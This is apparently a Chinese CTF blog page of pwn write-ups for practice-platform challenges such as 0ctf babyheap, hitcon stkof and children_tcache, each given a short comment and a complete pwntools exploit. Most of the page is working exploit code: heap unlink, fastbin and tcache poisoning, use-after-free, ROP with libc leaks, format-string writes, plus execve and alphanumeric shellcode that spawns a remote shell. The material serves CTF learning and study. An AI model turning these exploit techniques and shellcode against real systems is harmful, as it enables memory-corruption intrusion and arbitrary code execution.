第二页 [ZJCTF 2019]EasyHeap 这里有几个点,首先要用ret把栈的地址叠高,这样防止exp覆盖函数原来的数据
第二个就是
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 from pwn import *context(log_level='debug' ) p=remote('node5.buuoj.cn' ,27294 ) elf=ELF('./pwn' ) libc=ELF('./libc-2.23.so' ) free_got = elf.got['free' ] puts_got = elf.got['puts' ] puts_plt = elf.plt['puts' ]+0x16 system_plt = elf.plt['system' ] def add (size,content ): p.sendlineafter(b'Your choice :' ,str (1 )) p.sendlineafter(b'Size of Heap : ' ,str (size)) p.sendlineafter(b'Content of heap:' ,content) p.recvuntil(b'SuccessFul' ) def edit (idx,content ): p.sendlineafter(b'Your choice :' ,str (2 )) p.sendlineafter(b'Index :' ,str (idx)) p.sendlineafter(b'Size of Heap : ' ,str (len (content))) p.sendlineafter(b'Content of heap :' ,content) p.recvuntil(b'Done !' ) def delete (idx ): p.sendlineafter(b'Your choice :' ,str (3 )) p.sendlineafter(b'Index :' ,str (idx)) bss=0x6020E0 add(0x80 ,b'aaaa' ) add(0x80 ,b'bbbb' ) add(0x90 ,b'cccc' ) add(0x90 ,b'/bin/sh\x00' ) payload=p64(0 )+p64(0x81 )+p64(bss-0x18 )+p64(bss-0x10 )+b'M' *(0x80 -0x20 ) payload+=p64(0x80 )+p64(0x90 ) edit(0 ,payload) pause() delete(1 ) payload2=p64(0 )*3 payload2+=p64(free_got)+p64(puts_got) edit(0 ,payload2) payload1=p64(system_plt) edit(0 ,payload1) delete(3 ) ''' leak=u64(p.recvuntil('\x7f')[-6:]+b'\x00\x00') print(hex(leak)) libc_addr=leak-libc.sym['puts'] system=libc_addr+libc.sym['system'] payload=p64(system) edit(0,payload) delete(3) ''' p.interactive()
gyctf_2020_borrowstack 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 from pwn import *from LibcSearcher import *p=remote('node5.buuoj.cn' ,25450 ) elf=ELF('./pwn' ) context(log_level='debug' ) leave_ret=0x400699 pop_rdi=0x0000000000400703 bss=0x601080 ret=0x4004c9 libc=ELF('./libc-2.23.so' ) shell=0x4526a main = elf.sym["main" ] puts_plt= elf.plt["puts" ] puts_got = elf.got["puts" ] pause() payload=b'a' *0x60 +p64(bss)+p64(leave_ret) p.send(payload) payload2=p64(ret)*28 +p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main) p.send(payload2) p.recvuntil(b'Done!You can check and use your borrow stack now!\n' ) leak_addr = u64(p.recv(6 )+b'\x00\x00' ) print (hex (leak_addr))libc_base=leak_addr-libc.sym['puts' ] shell+=libc_base payload2=b'a' *0x68 +p64(shell) p.sendline(payload2) p.interactive()
ciscn_2019_s_9 call esp
jmp esp都行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 from pwn import *p=remote('node5.buuoj.cn' ,27684 ) context(arch = 'i386' ,os = 'linux' ,log_level = 'debug' ) shellcode=asm('''push 0x68 push 0x732f2f2f push 0x6e69622f mov ebx,esp xor edx,edx xor ecx,ecx push 0xB pop eax int 0x80''' )payload=shellcode payload=payload.ljust(0x24 ,b'\x00' ) payload+=p32(0x8048554 ) payload+=asm("sub esp,40;jmp esp" ) p.sendline(payload) p.interactive()
第三页 ciscn_2019_n_3 虽然是2.27版本的,但是漏洞利用与2.23一致,一个经典的uaf改写地址
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 from pwn import *context(log_level='debug' ) p=remote('node5.buuoj.cn' ,29247 ) elf = ELF("./pwn" ) def add (idx,size,value ): p.sendlineafter("CNote > " ,"1" ) p.sendlineafter("Index > " ,str (idx)) p.sendlineafter("Type > " ,b'2' ) p.sendlineafter("Length > " ,str (size)) p.sendlineafter("Value > " ,value) def delete (idx ): p.sendlineafter("CNote > " ,"2" ) p.sendlineafter("Index > " ,str (idx)) def show (idx ): p.sendlineafter("CNote > " ,"3" ) p.sendlineafter("Index > " ,str (idx)) system=0x8048500 add(1 ,0x40 ,b'aaaa' ) add(2 ,0x40 ,b'bbbb' ) delete(1 ) delete(2 ) payload=b'bash' +p32(system) add(3 ,0xc ,payload) delete(1 ) p.inetractive()
0ctf_2017_babyheap 详解见fastbin_attack | 鱼非愚 (yufeiyu33.github.io)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 from pwn import *context(log_level='debug' ) p=process('./babyheap' ) def debug (): gdb.attach(p) pause() def allo (size ): p.recvuntil(b'Command:' ) p.sendline(b'1' ) p.sendlineafter(b'Size:' ,str (size)) def fill (index,size,content ): p.recvuntil(b'Command:' ) p.sendline(b'2' ) p.sendlineafter(b'Index:' ,str (index)) p.sendlineafter(b'Size:' ,str (size)) p.sendafter(b'Content:' ,content) def free (index ): p.recvuntil(b'Command:' ) p.sendline(b'3' ) p.sendlineafter(b'Index:' ,str (index)) def dump (index ): p.recvuntil(b'Command:' ) p.sendline(b'4' ) p.sendlineafter(b'Index:' ,str (index)) p.recvuntil(b'Content:' ) def exit (): p.recvuntil(b'Command: \n' ) p.sendline(b'5' ) def unsorted_offset_arena (idx ): word_bytes = context.word_size / 8 offset = 4 offset += 4 offset += word_bytes * 10 offset += word_bytes * 2 offset += idx * 2 * word_bytes offset -= word_bytes * 2 return offset allo(0x10 ) allo(0x10 ) allo(0x10 ) allo(0x10 ) allo(0x80 ) allo(0x70 ) debug() free(2 ) free(1 ) payload=p64(0 )*3 +p64(0x21 )+p8(0x80 ) pause() fill(0 ,len (payload),payload) payload1=b'a' *0x10 +p64(0 )+p64(0x21 ) pause() fill(3 ,len (payload1),payload1) allo(0x10 ) allo(0x10 ) payload1=b'a' *0x10 +p64(0 )+p64(0x91 ) pause() fill(3 ,len (payload1),payload1) free(4 ) dump(2 ) pause() leak_addr = u64(p.recvuntil(b'\x7f' )[-6 :].ljust(8 , b'\x00' )) print (hex ((leak_addr)))unsorted_offset_addr=unsorted_offset_arena(5 ) print (hex (int (unsorted_offset_addr)))libc_base=leak_addr-unsorted_offset_addr-0x3c4b20 print (hex (int (libc_base)))pause() allo(0x60 ) free(4 ) print (hex (int (libc_base+0x3c4aed )))payload=p64(int (libc_base+0x3c4aed )) fill(2 ,len (payload),payload) allo(0x60 ) allo(0x60 ) pause() gadgets=int (libc_base+0x4526a ) payload =b'a' *0x13 + p64(gadgets) fill(6 , len (payload), payload) allo(255 ) p.interactive()
babyfengshui_33c3_2016 这题的关键是看懂题目的漏洞点,我反正开始没看出来
这个代码的意思是我们申请的chunk的地址加上输入的长度是否长于函数接下的chunk的地址(add一个函数时会生成两个chunk)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 from pwn import *context.log_level='debug' p=remote('node5.buuoj.cn' ,28502 ) elf=ELF('./pwn' ) libc=ELF('./libc-2.23.so' ) free_got=elf.got['free' ] def add (size,name,length,text ): p.recvuntil("Action: " ) p.sendline("0" ) p.sendlineafter("size of description: " ,str (size)) p.sendlineafter("name: " ,name) p.recvuntil("text length:" ) p.sendline(str (length)) p.recvuntil("text:" ) p.sendline(text) def delete (index ): p.recvuntil("Action: " ) p.sendline("1" ) p.recvuntil("index: " ) p.sendline(str (index)) def show (index ): p.recvuntil("Action: " ) p.sendline("2" ) p.recvuntil("index: " ) p.sendline(str (index)) def update (index,length,text ): p.recvuntil("Action: " ) p.sendline("3" ) p.recvuntil("index: " ) p.sendline(str (index)) p.recvuntil("text length: " ) p.sendline(str (length)) p.recvuntil("text: " ) p.sendline(text) def debug (): gdb.attach(p) pause() add(0x80 ,"nam1" ,0x80 ,"aaaa" ) add(0x80 ,"nam2" ,0x80 ,"bbbb" ) add(0x80 ,"nam3" ,0x80 ,"/bin/sh\x00" ) delete(0 ) add(0x100 ,'nam1' ,0x100 ,"cccc" ) payload=b'a' *0x108 +b'a' *0x8 +b'a' *0x80 +b'a' *0x8 +p32(free_got) update(3 ,0x200 ,payload) show(1 ) p.recvuntil("description: " ) free_addr=u32(p.recv(4 )) libc_base=free_addr-libc.sym["free" ] system_addr=libc_base+libc.sym["system" ] update(1 ,0x80 ,p32(system_addr)) delete(2 ) p.interactive()
hitcon2014_stkof pwn堆—unlink | 鱼非愚 (yufeiyu33.github.io)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 from pwn import * context(arch = 'amd64',os = 'linux',log_level = 'debug') p=process('./pwn') #p=remote('node5.buuoj.cn',27761) elf=ELF('./pwn') atoi_got = elf.got['atoi'] libc=ELF('./libc-2.23.so') free_got = elf.got['free'] puts_got = elf.got['puts'] puts_plt = elf.plt['puts'] #bss=0x6021C0 bss=0x602140 def add(size): p.sendline(str(1)) p.sendline(str(size)) p.recvuntil(b'OK') def edit(num,content): p.sendline(str(2)) p.sendline(str(num)) p.sendline(str(len(content))) p.sendline(content) p.recvuntil(b'OK') def delete(num): p.sendline(str(3)) p.sendline(str(num)) #p.recvuntil(b'OK') #gdb.attach(p) add(0x30) add(0x80) add(0x80) add(0x30) payload=p64(0)+p64(0x80)+p64(bss-0x18)+p64(bss-0x10)+b'a'*(0x80-0x20) payload+=p64(0x80)+p64(0x90) gdb.attach(p) pause() edit(2,payload) delete(3) payload2=b'c'*0x10 payload2+=p64(free_got)+p64(puts_got) #payload2+=p64(free_got)+b'\x7f'+b'd'*5 edit(2,payload2) payload1=p64(puts_plt) edit(1,payload1) delete(2) leak=u64(p.recvuntil('\x7f')[-6:]+b'\x00\x00') print(hex(leak)) libc_addr=leak-libc.sym['puts'] system=libc_addr+libc.sym['system'] payload=p64(system) edit(1,payload) edit(4,'/bin/sh\x00') delete(4) p.interactive()
mrctf2020_shellcode_revenge 要求可见字符串的shellcode,第一次看到
1 2 3 4 5 6 7 8 9 10 11 12 13 from pwn import *context(arch = 'amd64' ,os = 'linux' ,log_level = 'debug' ) p=remote('node5.buuoj.cn' ,25572 ) ''' shellcode=asm(shellcraft.sh()) print(shellcode) ''' p.send(b'Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t' ) p.interactive()
jarvisoj_level5 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 from pwn import *from LibcSearcher import *context(log_level='debug' ) p=remote('node5.buuoj.cn' ,26473 ) elf=ELF('level3_x64' ) rdi=0x4006b3 rsi_r15=0x4006b1 ret=0x400499 write_plt=elf.plt['write' ] write_got=elf.got['write' ] main=0x40061a p.recvuntil(b'Input:\n' ) payload=b'a' *0x88 +p64(rdi)+p64(0 )+p64(rsi_r15)+p64(write_got)+p64(8 )+p64(write_plt)+p64(main) p.sendline(payload) libc_leak=u64(p.recv(8 )) print (hex (libc_leak))libc = LibcSearcher("write" ,libc_leak) libc_base=libc_leak-libc.dump('write' ) system_addr=libc_base+libc.dump('system' ) bin_sh_addr=libc_base+libc.dump('str_bin_sh' ) payload=b'a' *0x88 +p64(rdi)+p64(bin_sh_addr)+p64(system_addr) p.sendline(payload) p.interactive()
pwnable_hacknote 基本uaf
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 from pwn import *from LibcSearcher import *context(arch='i386' ,os='linux' ,log_level='debug' ) myelf = ELF("./pwn" ) libc = ELF("./libc.so.6" ) io = remote('node5.buuoj.cn' ,25639 ) put_got=myelf.got['puts' ] def add (size,content ): io.recvuntil("choice :" ) io.sendline("1" ) io.recvuntil("size :" ) io.sendline(str (size)) io.recvuntil("Content :" ) io.sendline(content) def delete (num ): io.recvuntil("choice :" ) io.sendline("2" ) io.recvuntil("Index :" ) io.sendline(str (num)) def show (num ): io.recvuntil("choice :" ) io.sendline("3" ) io.recvuntil("Index :" ) io.sendline(str (num)) pause() add(64 ,"" ) add(32 ,"" ) delete(0 ) add(64 ,"" ) pause() pause() show(2 ) libc_base = u32(io.recv(8 )[4 :8 ])-0x1b07b0 system_addr = libc_base + libc.symbols['system' ] delete(0 ) delete(1 ) add(8 ,p32(system_addr)+b";sh\x00" ) show(0 ) io.interactive()
mrctf2020_easy_equation 之前遇到这种格式化字符串把某个地址改成指定的值都是直接fmtstr_payload直接生成的,不过这题不行了,看来还是得自己写
解出来方程是2
1 2 3 4 5 6 7 8 9 10 11 12 13 14 from pwn import *context(arch = 'amd64' ,os = 'linux' ,log_level = 'debug' ) p=remote('node5.buuoj.cn' ,29917 ) pause() payload = b"aa%9$nAAA" +p64(0x60105c ) p.sendline(payload) p.interactive()
ciscn_2019_es_7 这个和之前有个题一样
picoctf_2018_got_shell 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 from pwn import *p=remote('node5.buuoj.cn' ,26671 ) elf=ELF('./pwn' ) puts_got=elf.got['puts' ] p.recvuntil('value?' ) p.sendline(hex (puts_got)) payload=hex (0x804854b ) p.sendline(payload) p.interactive()
cmcc_pwnme2 这题的偏移搞了挺久,当时一看这个不就是一个retlibc吗,然后自信写板子,结果一直卡在一个地方,结果发现是gets下面那个函数的ret是会ret到前一个gets ebp在栈上面的位置,最后调试发现位置是0x6c
附上exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 from pwn import *from LibcSearcher import *p=remote('node5.buuoj.cn' ,25747 ) elf=ELF('./pwn' ) puts_plt=elf.plt["puts" ] puts_got=elf.got["puts" ] offset=0x6c main_addr=0x080486f8 payload=b'a' *(offset+4 )+p32(puts_plt)+p32(main_addr)+p32(puts_got) p.sendline(payload) p.recvuntil(b'input:\n' ) p.recvuntil(b'\x0a' ) leak_addr=u32(p.recv(4 )) print (hex (leak_addr))libc=ELF('./libc-2.23.so' ) libc_base=leak_addr-libc.sym['puts' ] bin_sh_addr=libc_base+next (libc.search(b'/bin/sh' )) system_addr=libc_base+libc.sym['system' ] payload2=b'a' *offset+b'a' *4 +p32(system_addr)+p32(main_addr)+p32(bin_sh_addr) p.sendline(payload2) p.interactive()
第四页 hitcon_2018_children_tcache 详解hitcon_2018_children_tcache题解 | 鱼非愚 (yufeiyu33.github.io)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 from pwn import *context(log_level='debug' ) p=process("./pwn" ) elf=ELF("./pwn" ) libc=ELF('libc-2.27.so' ) def debug (): gdb.attach(p) pause() def add (size,data ): p.sendlineafter(b'Your choice: ' ,str (1 )) p.sendlineafter(b'Size:' ,str (size)) p.sendlineafter(b'Data' ,data) def show (idx ): p.sendlineafter(b'Your choice: ' ,b'2' ) p.sendlineafter(b'Index:' ,str (idx)) def free (idx ): p.sendlineafter(b'Your choice: ' ,b'3' ) p.sendlineafter(b'Index:' ,str (idx)) add(0x410 ,b'a' ) add(0x68 ,b'b' ) add(0x4f0 ,b'c' ) add(0x30 ,b'd' ) free(0 ) free(1 ) for i in range (9 ): add(0x68 - i,b's' *(0x68 -i)) free(0 ) add(0x68 ,b'a' *0x60 +p64(0x490 )) free(2 ) add(0x410 ,b'a' *1 ) show(0 ) leak=u64(p.recv(6 ).ljust(8 ,b'\x00' ))-0x3ebca0 log.info("libc=" +hex (leak)) shell=leak+0x4f322 free_hook=leak+libc.sym["__free_hook" ] debug() add(0x80 ,b'a' ) free(2 ) free(0 ) add(0x80 ,p64(free_hook)) add(0x80 ,b'aaaa' ) add(0x80 ,p64(shell)) free(0 ) p.interactive()